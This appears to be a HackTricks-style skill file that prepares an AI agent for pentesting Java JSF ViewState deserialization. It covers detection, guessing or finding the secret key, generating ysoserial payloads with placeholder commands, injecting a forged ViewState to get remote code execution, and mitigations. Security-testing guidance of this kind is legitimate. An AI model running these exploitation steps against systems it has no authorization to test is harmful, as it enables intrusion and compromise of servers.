Hacktricks-skills java-jsf-viewstate-deserialization
How to identify and exploit Java JSF ViewState deserialization vulnerabilities in web applications. Use this skill whenever the user mentions JSF, ViewState, Java web applications, deserialization attacks, .faces files, or wants to test for RCE through ViewState manipulation. This is critical for pentesting Java-based web applications using JSF frameworks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization/SKILL.MDJava JSF ViewState Deserialization Exploitation
This skill helps you identify and exploit Java Server Faces (JSF) ViewState deserialization vulnerabilities that can lead to Remote Code Execution (RCE).
What is JSF ViewState?
JSF (Java Server Faces) is a UI component framework for Java web applications. ViewState is a mechanism that preserves the state of UI components between HTTP requests. It's typically stored in a hidden form field named
javax.faces.ViewState.
When ViewState is enabled and not properly secured, it can be vulnerable to deserialization attacks because:
- The ViewState is serialized on the server and sent to the client
- The client sends it back on subsequent requests
- The server deserializes it without proper validation
- If the secret key is weak or exposed, attackers can craft malicious payloads
When to Use This Skill
Use this skill when:
- Testing Java web applications with
or.faces
extensions.xhtml - You see
in HTML formsjavax.faces.ViewState - You're investigating potential deserialization vulnerabilities
- You need to understand JSF security configurations
- You're pentesting applications using JSF frameworks (Mojarra, MyFaces)
Detection
1. Identify JSF Applications
Look for these indicators:
<!-- Hidden ViewState field --> <input type="hidden" name="javax.faces.ViewState" value="..." /> <!-- JSF form tags --> <h:form> <h:inputText> <h:commandButton> <!-- URL patterns --> *.faces *.xhtml *.jsf
2. Check ViewState Configuration
The vulnerability depends on how ViewState is configured:
| Configuration | Risk Level | Notes |
|---|---|---|
| Low | ViewState stored server-side |
| High | ViewState sent to client |
missing/weak | Critical | Easy to forge ViewState |
strong | Medium | Still potentially exploitable |
3. Extract ViewState
# From HTML response grep -o 'javax.faces.ViewState" value="[^"]*"' response.html # Or use browser dev tools to find the hidden field
Exploitation
Prerequisites
- ViewState must be client-side (
)stateSaver="client" - Secret key must be weak or known
- Application must use vulnerable JSF version
Step 1: Determine Secret Key
The secret key is used to sign the ViewState. Common weak configurations:
// Default/weak secret key javax.faces.STATE_SAVING_METHOD=client javax.faces.VIEW_STATE_SECRET_KEY=secret // Or completely missing (uses default)
If the secret key is not configured, JSF may use a default or predictable value.
Step 2: Craft Malicious Payload
Use tools like
ysoserial to generate Java deserialization payloads:
# Generate payload for JSF ViewState java -jar ysoserial.jar CommonsCollections5 'command' | base64 # Or use specialized tools java -jar jsf-viewstate-exploit.jar --payload 'command' --secret 'secret'
Step 3: Inject Payload
Replace the ViewState value in the form:
<!-- Original --> <input type="hidden" name="javax.faces.ViewState" value="original_value" /> <!-- Modified with malicious payload --> <input type="hidden" name="javax.faces.ViewState" value="malicious_base64_payload" />
Step 4: Submit and Verify
Submit the modified form and check for:
- Command execution (reverse shell, file creation)
- Error messages revealing the vulnerability
- Unexpected behavior in the application
Tools
Manual Testing
# Extract ViewState from HTML curl -s http://target/app.faces | grep ViewState # Modify and resend burp-suite # Use Burp to intercept and modify ViewState
Automated Tools
# jsf-viewstate-exploit # Specialized tool for JSF ViewState exploitation # ysoserial # Generate Java deserialization payloads java -jar ysoserial.jar CommonsCollections5 'id' > payload.txt # Custom scripts # See scripts/ for helper utilities
Mitigation
For Developers
-
Use server-side state saving:
<context-param> <param-name>javax.faces.STATE_SAVING_METHOD</param-name> <param-value>server</param-value> </context-param> -
Set a strong secret key:
<context-param> <param-name>javax.faces.VIEW_STATE_SECRET_KEY</param-name> <param-value>strong-random-32-byte-key-here</param-value> </context-param> -
Update JSF framework to latest version
-
Implement CSRF protection
-
Use HTTPS to protect ViewState in transit
Common Scenarios
Scenario 1: Default Configuration
Symptoms:
- ViewState present in forms
- No secret key configured
- Old JSF version
Exploitation:
- Extract ViewState
- Use default secret key or try common values
- Generate payload with ysoserial
- Inject and submit
Scenario 2: Weak Secret Key
Symptoms:
- Secret key is short or predictable
- Key found in source code or configuration
Exploitation:
- Use discovered secret key
- Forge ViewState with malicious payload
- Submit to trigger deserialization
Scenario 3: ViewState in URL
Symptoms:
- ViewState parameter in URL query string
- Application uses GET requests with ViewState
Exploitation:
- Extract ViewState from URL
- Modify and resend request
- Watch for command execution
References
- Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities
- Hack The Box - Arkham
- OWASP JSF Security
Important Notes
⚠️ Legal Warning: Only use this skill on systems you have explicit authorization to test. Unauthorized exploitation of vulnerabilities is illegal.
⚠️ Safety: Deserialization attacks can crash applications. Test in isolated environments first.
⚠️ Detection: These attacks may be logged and detected by WAFs or IDS systems.
Next Steps
After identifying a potential vulnerability:
- Document findings with evidence
- Verify exploitability in a controlled manner
- Assess impact of successful exploitation
- Recommend mitigations to the application owner
- Retest after fixes are applied